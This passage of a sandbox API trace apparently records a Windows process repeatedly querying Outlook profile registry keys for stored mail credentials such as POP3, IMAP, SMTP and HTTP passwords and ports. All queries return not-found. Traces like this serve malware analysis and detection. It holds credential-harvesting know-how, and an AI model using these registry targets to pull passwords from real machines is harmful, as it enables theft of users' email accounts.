lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.744] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.744] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.744] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.744] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.744] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.744] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.744] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.744] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.745] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.745] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.745] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.745] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.745] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.745] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.745] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.745] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.745] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.745] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.745] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.745] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.745] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.745] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.745] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.745] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.745] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.745] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.745] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.745] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.745] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.746] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.746] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.746] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.746] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.746] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.746] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.746] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.746] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.746] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.746] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.746] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.746] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.746] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.746] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.746] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.746] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.747] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.747] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.747] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.747] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.747] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.747] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.747] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.747] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.747] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.747] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.747] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.747] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.747] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.747] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.747] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.747] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.747] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.747] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.747] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.747] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.747] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.747] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.748] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.748] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.748] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.748] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.748] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.748] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.748] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.748] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.748] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.748] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.748] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.748] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.748] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.748] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.748] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.748] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.748] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.748] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.748] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.748] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.748] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.748] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.749] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.749] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.749] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.749] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.749] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.749] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.749] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.749] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.749] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.749] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.749] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.749] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.749] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.749] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.749] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.749] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.749] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.749] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.749] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.749] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.749] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.749] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.750] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.750] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.750] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.750] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.750] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.750] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.750] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.750] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.750] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.750] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.750] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.750] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP 